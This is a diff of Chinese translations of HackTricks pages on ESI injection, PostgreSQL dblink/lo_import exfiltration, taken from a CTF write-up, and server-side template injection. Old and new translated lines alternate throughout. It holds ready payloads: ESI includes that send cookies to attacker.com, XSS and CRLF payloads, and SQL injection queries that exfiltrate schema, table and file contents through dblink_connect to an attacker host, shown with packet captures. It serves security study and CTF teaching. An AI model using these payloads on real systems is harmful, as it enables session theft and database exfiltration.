<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
||||
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
||||
```
|
||||
#### 偷取 Cookie
|
||||
#### 窃取 Cookie
|
||||
|
||||
* 远程偷取 cookie
|
||||
* 远程窃取 cookie
|
||||
```markup
|
||||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||
```
|
||||
* 通过在响应中反射来窃取带有 XSS 的 HTTP\_ONLY cookie:
|
||||
* 通过在响应中反射XSS来窃取HTTP\_ONLY cookie:
|
||||
```bash
|
||||
# This will reflect the cookies in the response
|
||||
<!--esi $(HTTP_COOKIE) -->
|
||||
# Reflect XSS
|
||||
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
|
||||
```
|
||||
* 通过反射 cookies 实现完全账户接管
|
||||
<figure><img src="../.gitbook/assets/image (4) (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* 通过反射cookie实现完整账户接管
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 私有本地文件
|
||||
|
||||
不要将此与“本地文件包含”混淆:
|
||||
不要将其与“本地文件包含”混淆:
|
||||
```markup
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
|
||||
CRLF (Carriage Return Line Feed) refers to the sequence of characters used to denote a line break in HTTP headers. It consists of the ASCII characters 13 (CR) and 10 (LF), which represent the carriage return and line feed, respectively. Attackers can exploit CRLF injection vulnerabilities to manipulate HTTP responses, insert additional headers, or perform other malicious activities.
|
||||
```markup
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
#### 开放重定向
|
||||
#### 开放式重定向
|
||||
|
||||
以下操作将在响应中添加一个 `Location` 头
|
||||
以下内容将向响应添加一个 `Location` 头部
|
||||
```bash
|
||||
<!--esi $add_header('Location','http://attacker.com') -->
|
||||
```
|
||||
#### 添加头部
|
||||
#### 添加标题
|
||||
|
||||
* 在强制请求中添加头部
|
||||
* 在强制请求中添加标题
|
||||
```html
|
||||
<esi:include src="http://example.com/asdasd">
|
||||
<esi:request_header name="User-Agent" value="12345"/>
|
||||
</esi:include>
|
||||
```
|
||||
* 在响应中添加头部(用于绕过带有XSS的响应中的"Content-Type: text/json")
|
||||
* 在响应中添加标头(用于绕过带有 XSS 的响应中的 "Content-Type: text/json")
|
||||
```bash
|
||||
<!--esi/$add_header('Content-Type','text/html')/-->
|
||||
|
||||
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
|
||||
```
|
||||
#### 在添加头部中的CRLF(**CVE-2019-2438)**
|
||||
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 在添加标头中的CRLF (**CVE-2019-2438)**
|
||||
```markup
|
||||
<esi:include src="http://example.com/asdasd">
|
||||
<esi:request_header name="User-Agent" value="12345
|
||||
|
@ -187,13 +197,13 @@ Host: anotherhost.com"/>
|
|||
```
|
||||
#### Akamai 调试
|
||||
|
||||
这将发送响应中包含的调试信息:
|
||||
这将发送包含在响应中的调试信息:
|
||||
```markup
|
||||
<esi:debug/>
|
||||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
也可以通过指定 `xslt` 值给 _dca_ 参数,添加基于\*\* **\_**可扩展样式表语言转换 (XSLT)**\_** \*\*的 ESI 包含。以下包含将导致HTTP代理请求XML和XSLT文件。然后使用XSLT文件过滤XML文件。这个XML文件可以用来执行 _XML外部实体 (XXE)_ 攻击。这允许攻击者执行SSRF攻击,这并不是非常有用,因为这必须通过ESI包含来执行,而ESI包含本身就是一个SSRF向量。由于底层库(Xalan)不支持外部DTD,因此不解析外部DTD。这意味着我们无法提取本地文件。
|
||||
还可以通过将 `xslt` 值指定为 _dca_ 参数来添加基于 **eXtensible Stylesheet Language Transformations (XSLT)** 的 ESI 包含。以下包含将导致 HTTP 代理请求 XML 和 XSLT 文件。然后使用 XSLT 文件来过滤 XML 文件。这个 XML 文件可以用来执行 _XML External Entity (XXE)_ 攻击。这允许攻击者执行 SSRF 攻击,但这并不是很有用,因为必须通过 ESI 包含执行此操作,而 ESI 本身就是一个 SSRF 向量。由于底层库(Xalan)不支持,外部 DTD 不会被解析。这意味着我们无法提取本地文件。
|
||||
```markup
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
|
@ -216,20 +226,20 @@ XSLT文件:
|
|||
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
|
||||
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
|
||||
|
||||
## 暴力破解检测列表
|
||||
## Brute-Force Detection List
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,173 +1,34 @@
|
|||
# dblink/lo\_import 数据泄露
|
||||
# dblink/lo\_import数据外泄
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
**这是一个示例,展示如何使用`lo_import`在数据库中加载文件并使用`dblink_connect`进行数据泄露。**
|
||||
**这是使用`lo_import`在数据库中加载文件并使用`dblink_connect`将它们外泄的示例。**
|
||||
|
||||
## 准备数据泄露服务器/异步SQL注入
|
||||
**查看解决方案:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
**摘自:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
因为`pg_sleep`也不会导致延迟,我们可以安全地假设查询执行是在后台或异步进行的。
|
||||
|
||||
通常,`dblink_connect`可用于打开到远程PostgreSQL数据库的持久连接(例如`SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`)。因为我们可以控制这个函数的参数,我们可以对我们自己的主机执行SQL服务器端请求伪造。这意味着,我们可以执行Out-of-Band SQL注入来从SQL查询结果中泄露数据。至少有两种方法可以做到这一点:
|
||||
|
||||
1. 设置一个**DNS服务器**,然后触发连接到`[data].our.domain`,这样我们可以在日志或DNS网络包中看到数据。
|
||||
2. 设置一个**公共PostgreSQL服务器,监控传入的PostgreSQL端口的网络包**,然后触发连接到我们的主机,并将泄露的数据作为`user`/`dbname`。**默认情况下**,PostgreSQL不使用SSL进行通信,所以我们可以在网络上以**明文**形式看到`user`/`dbname`。
|
||||
|
||||
**第二种方法更简单**,因为我们不需要任何域名。我们只需要设置一个具有公共IP的服务器,安装PostgreSQL,设置PostgreSQL服务监听\*/0.0.0.0,并运行网络转储器(例如tcpdump)来监控到PostgreSQL端口(默认为5432)的流量。
|
||||
|
||||
要设置PostgreSQL以便它**对公众开放监听**,请在`postgresql.conf`中将`listen_addresses`设置为`*`。
|
||||
```
|
||||
listen_addresses = '*'
|
||||
```
|
||||
要监控传入流量,请运行 `tcpdump` 来监控端口 5432。
|
||||
```
|
||||
sudo tcpdump -nX -i eth0 port 5432
|
||||
```
|
||||
要查看我们是否从目标获得连接,我们可以尝试使用此查询:
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
|
||||
```
|
||||
如果成功,我们将获得一个包含可读的 `user` 和 `dbname` 的网络数据包片段。
|
||||
```
|
||||
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
|
||||
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
|
||||
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
|
||||
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
|
||||
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
|
||||
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
|
||||
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
|
||||
```
|
||||
然后,我们可以**继续使用几个PostgreSQL查询来提取数据库**。请注意,对于每个查询结果中包含空格的,我们需要使用`encode`函数将结果转换为**hex/base64**,或者使用`replace`函数将空格替换为其他字符,因为这会在`dblink_connect`过程中引起执行错误。
|
||||
|
||||
获取**架构**的**列表**:
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
|
||||
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
|
||||
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
|
||||
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
|
||||
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
|
||||
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
|
||||
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
|
||||
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
|
||||
0x0070: 6f73 7467 7265 7300 00 ostgres.
|
||||
```
|
||||
获取当前模式中**表**的**列表**:
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
|
||||
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
|
||||
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
|
||||
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
|
||||
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
|
||||
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
|
||||
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
|
||||
```
|
||||
**计数** `searches` 表中的**行数**。
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
|
||||
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
|
||||
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
|
||||
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
|
||||
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
|
||||
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
|
||||
0x0050: 6772 6573 0000 gres.
|
||||
```
|
||||
当前模式中似乎只有一个空表,且标志不在数据库中。我们可能确实需要从 `/var/lib/postgresql/data/secret` 中提取数据。不幸的是,如果我们尝试使用 `pg_read_file` 或 `pg_read_binary_file` 来读取文件,我们将不会得到传入连接,因此当前用户可能没有权限使用这些函数。
|
||||
|
||||
#### 更多关于异步 SQLInjection 与 postdresql 的信息
|
||||
|
||||
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
## **提取大型对象内容**
|
||||
|
||||
可以使用大型对象来读取文件([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html))。我们可以使用 `lo_import` 将文件内容加载到 `pg_largeobject` 目录中。如果查询成功,我们将获得对象的 `oid`。
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
|
||||
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
|
||||
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
|
||||
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
|
||||
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
|
||||
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
|
||||
0x0050: 706f 7374 6772 6573 0000 postgres..
|
||||
```
|
||||
我们得到了24668作为`oid`,这意味着我们可以使用`lo_import`函数。不幸的是,如果我们尝试使用`lo_get(24668)`获取大型对象的内容,或者直接访问`pg_largeobject`目录,我们将得不到任何结果。**看起来当前用户没有权限读取新对象的内容。**
|
||||
|
||||
阅读了PostgreSQL中大型对象的文档后,我们可以发现**大型对象可以有ACL**(访问控制列表)。这意味着,如果有一个旧对象的ACL允许当前用户读取它,那么我们可以泄露该对象的内容。
|
||||
|
||||
我们可以通过从`pg_largeobject_metadata`提取来获取可用大型对象的`oid`列表。
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
|
||||
```
|
||||
|
||||
```
|
||||
18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
|
||||
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
|
||||
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
|
||||
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
|
||||
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
|
||||
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
|
||||
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
|
||||
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
|
||||
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
|
||||
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
|
||||
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
|
||||
|
||||
.....
|
||||
.....
|
||||
.....
|
||||
```
|
||||
我们得到了一些`oid`。我们可以尝试使用`lo_get`来加载对象的内容。例如,`lo_get(16439)`将加载`/etc/passwd`的内容。因为`lo_get`的结果是`bytea`,我们需要将其转换为`UTF8`,以便可以在查询中追加。
|
||||
|
||||
我们可以尝试加载一些最低`oid`的对象,以找出标志文件是否已经加载过。标志文件对象确实存在,`oid`为16444。标志中没有空格,所以我们可以按原样显示它。
|
||||
|
||||
加载标志的方法:
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
|
||||
```
|
||||
#### 更多 oid 信息:
|
||||
|
||||
* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
|
||||
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,36 @@
|
|||
# SSTI (服务器端模板注入)
|
||||
# SSTI(服务器端模板注入)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全活动,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识的传播**,是技术和网络安全专业人士在各个学科的沸腾交汇点。
|
||||
[**RootedCON**](https://www.rootedcon.com) 是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点聚会。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## 什么是服务器端模板注入?
|
||||
|
||||
服务器端模板注入发生在攻击者能够使用原生模板语法将恶意载荷注入到模板中,然后在服务器端执行。
|
||||
当攻击者能够使用本机模板语法将恶意有效负载注入到模板中,然后在服务器端执行时,就会发生服务器端模板注入。
|
||||
|
||||
**模板引擎**旨在通过**结合** **固定**模板与**易变**数据来**生成网页**。当**用户输入**直接**连接到模板**中,而不是作为数据传入时,就可能发生服务器端模板注入攻击。这允许攻击者**注入任意模板指令**,以便操纵模板引擎,通常使他们能够**完全控制服务器**。
|
||||
**模板引擎**旨在通过**将固定**模板与**易变**数据**结合**来生成网页。当**用户输入**直接**连接到模板**而不是作为数据传递时,就可能发生服务器端模板注入攻击。这使得攻击者能够**注入任意模板指令**以操纵模板引擎,通常使他们能够完全控制服务器。
|
||||
|
||||
一个易受攻击的代码示例如下:
|
||||
```php
|
||||
$output = $twig->render("Dear " . $_GET['name']);
|
||||
```
|
||||
在前面的例子中,**模板的一部分**通过使用`GET`参数`name`来**动态生成**。由于模板语法是在服务器端评估的,这可能允许攻击者在`name`参数中放置一个服务器端模板注入负载,如下所示:
|
||||
在前面的示例中,**模板的一部分**是使用`GET`参数`name`**动态生成**的。由于模板语法在服务器端进行评估,这可能允许攻击者将服务器端模板注入有效负载放入`name`参数中,如下所示:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
|
@ -40,13 +40,13 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
|||
|
||||
### 检测
|
||||
|
||||
与任何漏洞一样,利用的第一步是能够发现它。也许最简单的初步方法是尝试通过注入一系列在模板表达式中常用的特殊字符,例如多功能字符 **`${{<%[%'"}}%\`.**\
|
||||
为了检查服务器是否存在漏洞,您应该**注意**使用**常规数据**和**给定有效载荷**在参数上的响应之间的**差异**。\
|
||||
如果**抛出错误**,那么将很容易判断出**服务器存在漏洞**,甚至可以知道正在运行的是哪个**引擎**。但是,如果您**期望**服务器**反映**给定的有效载荷而**没有反映**,或者响应中有一些**缺失的字符**,您也可能发现服务器是脆弱的。
|
||||
与任何漏洞一样,利用漏洞的第一步是能够找到它。也许最简单的初始方法是尝试通过注入一系列常用于模板表达式的特殊字符来**模糊化模板**,例如多语言**`${{<%[%'"}}%\`**。\
|
||||
为了检查服务器是否存在漏洞,您应该**注意参数上的** **常规数据** 和**给定负载**之间的**差异**。\
|
||||
如果**发生错误**,那么很容易就能发现**服务器存在漏洞**,甚至可以知道正在运行的**引擎**。但是,如果您期望它**反映**给定的负载,而它**没有被反映**,或者响应中有一些**缺失字符**,也可以找到一个存在漏洞的服务器。
|
||||
|
||||
**检测 - 纯文本上下文**
|
||||
**检测 - 明文上下文**
|
||||
|
||||
给定的输入被**渲染并反映**到响应中。这很容易被**误认为是简单的** [**XSS**](../xss-cross-site-scripting/) 漏洞,但如果您尝试在模板表达式中设置**数学运算**,就很容易区分开来:
|
||||
给定的输入被**呈现和反映**到响应中。这很容易被误认为是一个简单的[**XSS**](../xss-cross-site-scripting/)漏洞,但如果尝试在模板表达式中设置**数学运算**,就很容易区分出来:
|
||||
```
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
|
@ -57,21 +57,21 @@ ${{7*7}}
|
|||
```
|
||||
**检测 - 代码上下文**
|
||||
|
||||
在这些情况下,**用户输入**被放置在**模板表达式**中:
|
||||
在这些情况下,**用户输入**被放置在一个**模板表达式**中:
|
||||
```python
|
||||
engine.render("Hello {{"+greeting+"}}", data)
|
||||
```
|
||||
以下是访问该页面的URL可能类似于:`http://vulnerable-website.com/?greeting=data.username`
|
||||
访问该页面的URL可能类似于:`http://vulnerable-website.com/?greeting=data.username`
|
||||
